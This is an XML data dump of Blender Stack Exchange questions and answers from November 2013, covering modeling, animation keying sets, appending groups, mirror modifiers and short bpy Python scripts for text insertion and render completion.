  <row Id="4791" PostTypeId="2" ParentId="4785" CreationDate="2013-11-10T02:38:09.297" Score="6" Body="&lt;p&gt;There are more than ten ways of doing this. Since you just want to make fillet in-between, you may also consider this way:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the two loops you want to connect;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;W&lt;/kbd&gt; &gt; Bridge Edge Loops;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SdN5z.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: In this case, the two cylinders have to first be become a single mesh, if not yet (J to join them).  &lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-11-10T02:38:09.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4793" PostTypeId="2" ParentId="3775" CreationDate="2013-11-10T08:22:51.190" Score="3" Body="&lt;p&gt;I don't think an automatic way currely exists. I'm afraid you have to code something to find the target pixel directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, after playing this for quite a bit time, I find a tricky way to get the same result. As shown in the image below. Though it seems not quite effective on performance, but quite acceptable after my testing on a sort of 6000 x 6000 px image, so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cxd69.png&quot; alt=&quot;Version 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, suppose you want to target the brightest pixel, just add an Invert node right before the Nomalize node. Hope that helps.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Version 2:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I think this way is even better. FYI&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NgYtE.png&quot; alt=&quot;Version 2a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u0C6p.png&quot; alt=&quot;Version 2b&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2013-11-10T13:21:52.830" LastActivityDate="2013-11-10T13:21:52.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4794" PostTypeId="1" AcceptedAnswerId="4796" CreationDate="2013-11-10T11:40:11.477" Score="11" ViewCount="16511" Body="&lt;p&gt;When I press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; to activate the &lt;em&gt;Insert Keyframe Menu&lt;/em&gt; (in the 3d-view/pose mode) a keyframe is created immediately instead of showing the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This used to bring up the menu. I must have changed some setting but I have no idea which.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get the menu back?&lt;/p&gt;&#xA;" OwnerUserId="1575" LastEditorUserId="2173" LastEditDate="2014-04-19T03:53:21.597" LastActivityDate="2021-01-14T18:53:11.973" Title="Insert keyframe menu does not show up" Tags="&lt;animation&gt;&lt;interface&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4795" PostTypeId="2" ParentId="4794" CreationDate="2013-11-10T11:58:16.003" Score="6" Body="&lt;p&gt;One possibility, you may have unknowingly activated &lt;em&gt;Automatic Keyframe&lt;/em&gt; feature and selecting a &lt;em&gt;Keying Set&lt;/em&gt;. If this is the case, you need to deactivate the feature by toggling off the red &amp;quot;recording&amp;quot; button in &lt;strong&gt;Timeline&lt;/strong&gt; window, and remove the keying set:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5GzWS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5GzWS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Interface for 2.8X and later will look as so:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZkMoY.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZkMoY.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="15924" LastEditDate="2021-01-14T18:53:11.973" LastActivityDate="2021-01-14T18:53:11.973" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4796" PostTypeId="2" ParentId="4794" CreationDate="2013-11-10T11:59:54.450" Score="17" Body="&lt;p&gt;Seems like you've chosen some keying set in the timeline header. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dycl8.png&quot; alt=&quot;keying sets&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can clear this by pressing the X next to the name if the selected keying set.&lt;/p&gt;&#xA;" OwnerUserId="782" LastEditorUserId="599" LastEditDate="2013-11-10T17:31:33.807" LastActivityDate="2013-11-10T17:31:33.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4797" PostTypeId="2" ParentId="4788" CreationDate="2013-11-10T13:10:09.810" Score="3" Body="&lt;p&gt;Assuming you mean &lt;a href=&quot;http://davidjarvis.ca/blender/tools/audio-analysis.shtml&quot; rel=&quot;nofollow&quot;&gt;Audio Analysis v1.1.0&lt;/a&gt; this script was developed for Blender 2.43 (around 2007) and is unlikely to work with the latest releases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meanwhile there was an addon &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Import-Export/Import_Movement_From_Audio_File&quot; rel=&quot;nofollow&quot;&gt;Import_Movement_From_Audio_File&lt;/a&gt; which could be a better starting point. Unfortunatly it seems that it has been removed from the current distribution (the documentation refers to 2.64.9).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could get an older Blender version from &lt;a href=&quot;http://download.blender.org/release/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-11-10T13:10:09.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4798" PostTypeId="2" ParentId="3669" CreationDate="2013-11-10T14:50:04.043" Score="-4" Body="&lt;p&gt;I think that if you go to your texture influence properties for your domain object (voxel data), and check 'emission' it should work.&lt;img src=&quot;https://i.stack.imgur.com/A9xlM.png&quot; alt=&quot;emmision&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1578" LastActivityDate="2013-11-10T14:50:04.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4799" PostTypeId="1" CreationDate="2013-11-10T15:19:22.230" Score="2" ViewCount="92" Body="&lt;p&gt;I've modeled a clock and saved it as clock using blender 2.56. I've also modeled a room using blender 2.56 and saved it as room. I've made the clock a group and named this group clock. How do I open up my room file and then open up the clock group in the room&#xA;file or scene?&lt;/p&gt;&#xA;" OwnerUserId="1579" LastEditorUserId="12" LastEditDate="2013-11-10T15:31:26.877" LastActivityDate="2013-11-10T15:37:56.990" Title="Using groups in other files" Tags="&lt;modeling&gt;&lt;groups&gt;&lt;blend-files&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4800" PostTypeId="2" ParentId="4799" CreationDate="2013-11-10T15:31:05.280" Score="3" Body="&lt;p&gt;If you go to &lt;em&gt;File&lt;/em&gt; &gt; &lt;em&gt;Append&lt;/em&gt; or press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F1&lt;/kbd&gt; , you can navigate to the blend file, open the &lt;em&gt;Group&lt;/em&gt; folder and import the group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ffkGT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Appending the group will create a unique copy of it in the new file. If you want to keep working on the group in the original file and have any changes there be updated in the new file, you should &lt;em&gt;Link&lt;/em&gt; instead. Go to &lt;em&gt;File &gt; Link&lt;/em&gt; or use &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;O&lt;/kbd&gt;. Note that if you link however, you won't be able to edit the linked group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related - &lt;a href=&quot;https://blender.stackexchange.com/q/1444/12&quot;&gt;How to add an object from another scene?&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2013-11-10T15:37:56.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4801" PostTypeId="1" AcceptedAnswerId="4804" CreationDate="2013-11-10T18:02:38.610" Score="5" ViewCount="1770" Body="&lt;p&gt;Can you help with inserting of all characters of a font (for example I loaded an Arial font) into 3D Text?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I created a 3D Text object and I need to insert all characters with Python:&#xA;&lt;img src=&quot;https://i.imgur.com/lEANRq6.png&quot; alt=&quot;Image of text object&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I found is how to insert a specific text:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.font.text_insert(text=&quot;texttt&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I need all characters available in the font. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, can I separate characters by languages (english, french, spanish etc.) and other characters (&lt;code&gt;,.&amp;lt;&amp;gt;[]{};:'&quot;&lt;/code&gt; etc.)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="599" LastEditDate="2013-11-10T23:54:21.113" LastActivityDate="2016-12-19T04:45:38.617" Title="How to write all characters in a font to a 3D text object?" Tags="&lt;python&gt;&lt;text-object&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4802" PostTypeId="1" AcceptedAnswerId="4826" CreationDate="2013-11-10T18:11:16.723" Score="4" ViewCount="905" Body="&lt;p&gt;In a scene I linked two groups (object and rig) and appended an action, now I'm experimenting what would be the best workflow to animate more characters in a scene. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to have a set of reusable actions (preferably shared among the characters) which can be combined in the NLA-editor for different clips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this scene the two characters are supposed to stand opposite, the character on right was moved from the position of the yellow empty and changed the orientation because both use the same action. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to mirror an action or add offsets for location and rotation, so that the characters will keep their orientation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aeu6u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-11-11T23:22:39.493" Title="Can an action be mirrored or reused?" Tags="&lt;animation&gt;&lt;nla-editor&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4803" PostTypeId="1" AcceptedAnswerId="4818" CreationDate="2013-11-10T18:26:25.220" Score="5" ViewCount="4333" Body="&lt;p&gt;So, I'm currently developing a game with unity for which I created a bird, rigged it, and created several actions for it. I then unwrapped and textured it.&lt;br&gt;&#xA;But now all the actions aren't working anymore! And whenever I try to rotate/move a bone all i get is the error message: &quot;&lt;strong&gt;Cannot select linked when sync selection is enabled&lt;/strong&gt;&quot;.&lt;br&gt;&#xA;I think it might be related to the UV editor, but i have no clue what I should do there.&lt;br&gt;&#xA;I hope anyone can help!&lt;/p&gt;&#xA;" OwnerUserId="1580" LastActivityDate="2014-01-22T15:00:24.140" Title="Cannot Select Linked When Sync Selection Is Enabled" Tags="&lt;animation&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4804" PostTypeId="2" ParentId="4801" CreationDate="2013-11-10T18:33:20.010" Score="7" Body="&lt;p&gt;Well, it depends on what &quot;all characters&quot; are, but generally you should be able to just loop over a range of code points or character values, casting with &lt;code&gt;chr&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you want all printable ASCII characters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;text_string = ''.join([chr(i) for i in range(32, 127)])&#xA;bpy.ops.font.text_insert(text=text_string)&#xA;# [SPACE]!&quot;#$%&amp;amp;\'()*+,-./0123456789:;&amp;lt;=&amp;gt;?@ABC...XYZ[\]^_`abc...xyz{|}~&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, I just used a list comprehension to go from ASCII 32 to ASCII 126, inclusive. You could use a different range to suit your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't really &quot;separate characters by languages&quot; because it's not bijective. Which language does &lt;code&gt;A&lt;/code&gt; belong to? Practically every language that uses a Latin-variant alphabet. How about &lt;code&gt;&amp;uuml;&lt;/code&gt;? Spanish, German, to name two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could separate characters by their Unicode blocks, like Basic Latin (U+0000 to U+007F), Latin-1 Supplement (U+0080 to U+00FF, contains stuff like &amp;cent;, &amp;copy;, &amp;sect;, &amp;otilde;, &amp;thorn;, etc.), etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you wanted two separate text objects:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blocks = { 'basic_latin' : (0x20, 0x7E), 'latin-1-supp': (0xA0, 0xFF) }&#xA;for k, v in blocks.items():&#xA;    t = ''.join([chr(i) for i in range(v[0], v[1] + 1)])&#xA;    bpy.ops.font.text_insert(text=t)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="372" LastEditorUserId="372" LastEditDate="2013-11-10T18:41:07.070" LastActivityDate="2013-11-10T18:41:07.070" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4806" PostTypeId="1" AcceptedAnswerId="4811" CreationDate="2013-11-10T19:15:42.207" Score="12" ViewCount="33787" Body="&lt;p&gt;I was searching for how to create smoothing groups in Blender, and everybody seems to say I should use Edge Split. But this will actually create new edges, destroying the topology of the object! Is the situation really so that I cannot create 'smoothing groups' without modifying the actual topology of the object? It will be very difficult creating models for game engines or exporting to other 3d software without smoothing groups, and I don't want to destroy the topology to achieve it either..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, I start with a smoothed sphere:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FgL7q.png&quot; alt=&quot;smoothed starting object&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then apply edge split on a face, as is recommended as blender's method of doing smoothing groups:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5MhS2.png&quot; alt=&quot;edge splitting&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the result. Looking good so far...:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pBIKQ.png&quot; alt=&quot;edge split result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I try to select an edge loop here, but it stops on the affected area!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u7aFE.png&quot; alt=&quot;edge loop&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to move one of the edges, the reason becomes clear: Two edges have been created, completely destroying the object's topology:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8wvfb.png&quot; alt=&quot;topology destroyed&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1574" LastEditorUserId="1574" LastEditDate="2013-11-10T19:22:13.180" LastActivityDate="2021-03-30T10:12:55.163" Title="Blender's &quot;smoothing groups&quot; solution (Edge Split) destroys topology. Is there an alternative solution?" Tags="&lt;modeling&gt;&lt;topology&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4807" PostTypeId="1" CreationDate="2013-11-10T19:39:37.410" Score="3" ViewCount="3374" Body="&lt;p&gt;Can anyone assist me in getting a part of a mirrored object to move without overlapping into itself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 3DSMax it consisted of changing the view from global to local and then the whole thing moved instead of overlapping. In Blender I've tried all the local views and they aren't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is what is happening -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/jh6TY5Y.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/Gsr1T3a.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1581" LastActivityDate="2013-11-12T08:48:14.070" Title="Unable to move a mirrored part of an object" Tags="&lt;modeling&gt;" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4809" PostTypeId="1" AcceptedAnswerId="4813" CreationDate="2013-11-10T21:00:07.410" Score="6" ViewCount="2481" Body="&lt;p&gt;I'm writing a script to make playblast (animation preview) via OpenGL render. I want to start play back rendered frames right after rendering is done. How I can do it? For now my code looks like this =)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#start opengl render&#xA;bpy.ops.render.opengl(animation=True)&#xA;&#xA;### TODO: WAIT UNTILL RENDERING IS DONE&#xA;&#xA;#play rendered sequence&#xA;bpy.ops.render.play_rendered_anim()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="782" LastEditorUserId="782" LastEditDate="2013-11-11T18:47:16.163" LastActivityDate="2013-11-11T18:47:16.163" Title="Wait until the action is done (in script)" Tags="&lt;rendering&gt;&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4811" PostTypeId="2" ParentId="4806" CreationDate="2013-11-10T21:29:37.967" Score="15" Body="&lt;p&gt;I suggest you use the modifier &lt;em&gt;Edge Split&lt;/em&gt; instead.&#xA;In &lt;em&gt;Edit&lt;/em&gt; mode, select your edges desired to be sharp. Hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; to bring up the &lt;em&gt;Edges&lt;/em&gt; menu. Select &lt;em&gt;Mark Sharp&lt;/em&gt;. Now add the &lt;em&gt;Edge Split&lt;/em&gt; modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wPhWk.png&quot; alt=&quot;How to mark edges sharp&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edges are split by the modifier. In &lt;em&gt;Edit&lt;/em&gt; mode they are marked cyan. Topology is still fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1XoU2.png&quot; alt=&quot;Fine topology&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="241" LastEditDate="2018-02-24T18:49:22.447" LastActivityDate="2018-02-24T18:49:22.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4813" PostTypeId="2" ParentId="4809" CreationDate="2013-11-10T23:26:26.103" Score="7" Body="&lt;p&gt;AFAIK Blender still has no built-in facility to do this, &lt;em&gt;without&lt;/em&gt; freezing the GUI. I was stuck with that problem before, and the &lt;a href=&quot;https://blender.stackexchange.com/a/1764/185&quot;&gt;hack I used&lt;/a&gt; in &lt;a href=&quot;https://github.com/adhihargo/layout_tools/blob/master/layout_tools.py#L298&quot; rel=&quot;nofollow noreferrer&quot;&gt;a production code&lt;/a&gt; is to query render result's filesize through &lt;a href=&quot;http://docs.python.org/3/library/os.html#os.stat&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;os.stat&lt;/code&gt;&lt;/a&gt;, and check it at an interval using a &lt;code&gt;TIMER&lt;/code&gt; event. If the size is unchanged from previous query, render is considered finished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Querying filesize only works for video output; for image sequence output, try querying file count in the target directory. And depending on scene complexity, interval might need to be tweaked. Here's a sample code to test with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;class VIEW3D_OT_render_and_execute(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Render and Execute&quot;&quot;&quot;&#xA;    bl_idname = 'view3d.render_and_execute'&#xA;    bl_label = 'Render and Execute'&#xA;    bl_options = {'REGISTER'}&#xA;&#xA;    prev_stat = None&#xA;    timer = None&#xA;&#xA;    def modal(self, context, event):&#xA;        if event.type == 'TIMER':&#xA;            if not self.prev_stat:&#xA;                self.prev_stat = os.stat(context.scene.render.filepath)&#xA;                return {'PASS_THROUGH'}&#xA;&#xA;            cur_stat = os.stat(context.scene.render.filepath)&#xA;            if self.prev_stat.st_size != cur_stat.st_size:&#xA;                self.prev_stat = cur_stat&#xA;                return {'PASS_THROUGH'}&#xA;&#xA;            context.window_manager.event_timer_remove(self.timer)&#xA;&#xA;            print(&quot;Render finished.&quot;) # POST-RENDER CODE HERE&#xA;            return {'FINISHED'}&#xA;&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;    def execute(self, context):&#xA;        if context.scene.render.image_settings.file_format != 'FFMPEG':&#xA;            self.report({'ERROR'}, 'Only works for video output.')&#xA;            return {'FINISHED'}&#xA;&#xA;        wm = context.window_manager&#xA;        wm.modal_handler_add(self)&#xA;        self.timer = wm.event_timer_add(2.0, context.window)&#xA;        bpy.ops.render.opengl('INVOKE_DEFAULT', animation=True)&#xA;&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd be very glad if a cleaner solution is available, but haven't found it so far.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2013-11-10T23:26:26.103" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4814" PostTypeId="2" ParentId="4807" CreationDate="2013-11-11T02:37:46.197" Score="0" Body="&lt;p&gt;That's because you're moving that piece through the mirror plane (the YZ Plane, or X axis, in your case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mirror plane is defined relative to your object coordinates. You can change the plane by using the &lt;em&gt;Mirror Object&lt;/em&gt; setting of the &lt;em&gt;Mirror&lt;/em&gt; modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're trying to have two different mirror axes in a single mesh, or to selectively mirror only certain vertices, I don't believe that's possible at this time.&lt;/p&gt;&#xA;" OwnerUserId="372" LastActivityDate="2013-11-11T02:37:46.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4815" PostTypeId="2" ParentId="4807" CreationDate="2013-11-11T04:00:12.577" Score="0" Body="&lt;p&gt;I'm not quite familiar with 3DSMax, but I guess you may be looking for the result when toggling &lt;strong&gt;Clipping&lt;/strong&gt; in the Mirror modifier panel, suppose you got one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SjJny.png&quot; alt=&quot;Clipping&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, it's not possible to do &quot;un-mirror&quot; transformation while working with Mirror modifier. You can either apply the mirror modifier before moving, or add additional modifiers below it in the Modifier stack to make further modifications, such as Lattice.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2013-11-11T04:31:24.187" LastActivityDate="2013-11-11T04:31:24.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4816" PostTypeId="2" ParentId="4807" CreationDate="2013-11-11T04:12:47.267" Score="5" Body="&lt;p&gt;A mesh data is fed through the modifier stack from top to bottom, and what's accessible through Edit mode is only the original data, not the result of the modifier stack. Modification of a modifier's output is only possible by &lt;strong&gt;applying it first&lt;/strong&gt;, or through &lt;strong&gt;another modifier&lt;/strong&gt; lower down the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your example, vertices generated on-the-fly by Mirror modifier can't be moved past the modifier's mirror axis, even if &lt;em&gt;Clipping&lt;/em&gt; is disabled and the modifier is applied to editing cage. That's because it's &lt;strong&gt;not in the original mesh data&lt;/strong&gt;, and its position is not stored independently but &lt;strong&gt;calculated by the modifier&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NfDeu.png&quot; alt=&quot;2a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modifying those vertices manually is possible after applying it, because those new vertices are now available in the original mesh data. Other modifier can also modify them if placed below the Mirror modifier, for example an &lt;strong&gt;Armature&lt;/strong&gt; modifier (note the modifier stack):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qlGbn.png&quot; alt=&quot;3a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or a &lt;strong&gt;Lattice&lt;/strong&gt; modifier:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f9nUz.png&quot; alt=&quot;4a&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-11-11T04:12:47.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4817" PostTypeId="1" AcceptedAnswerId="4819" CreationDate="2013-11-11T12:54:23.233" Score="22" ViewCount="13493" Body="&lt;p&gt;How to know which object is using a material. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that a material is used 4 time -&gt; picture under:&lt;img src=&quot;https://i.stack.imgur.com/vO9F0.png&quot; alt=&quot;number object material&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm searching a solution with python and I'm blocked here : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.materials['Y.000a'].users&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this function only return the number of users and not the name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course the solutions, that I'm searching for, doesn't have to obligatory use python.&lt;/p&gt;&#xA;" OwnerUserId="1151" LastEditorUserId="1151" LastEditDate="2013-11-11T13:10:11.803" LastActivityDate="2014-11-18T20:08:42.617" Title="How to know which object is using a material" Tags="&lt;python&gt;&lt;materials&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4818" PostTypeId="2" ParentId="4803" CreationDate="2013-11-11T13:09:51.013" Score="4" Body="&lt;p&gt;That's nothing about UV in this case. That's because you were trying to tweak pose in Rest position. Just remember to simply switch to Pose Position to continue tweaking. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Location:&#xA;Properties Editor &gt; Object Data Tab &gt; Skeleton &gt; Pose position&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mM0NV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, there are indeed two such messages, located in:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;source/blender/editors/transform/transform_conversions.c&lt;/li&gt;&#xA;&lt;li&gt;source/blender/editors/uvedit/uvedit_ops.c&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;True, it's a strange message for bone transform system, which seems hard to make sense, probably needs to be improved.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;a href=&quot;http://builder.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;latest build&lt;/a&gt;, this puzzling message has been fixed as &quot;&lt;strong&gt;Cannot change Pose when 'Rest Position' is enabled&lt;/strong&gt;&quot;. So it is not an issue any more.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-01-22T15:00:24.140" LastActivityDate="2014-01-22T15:00:24.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
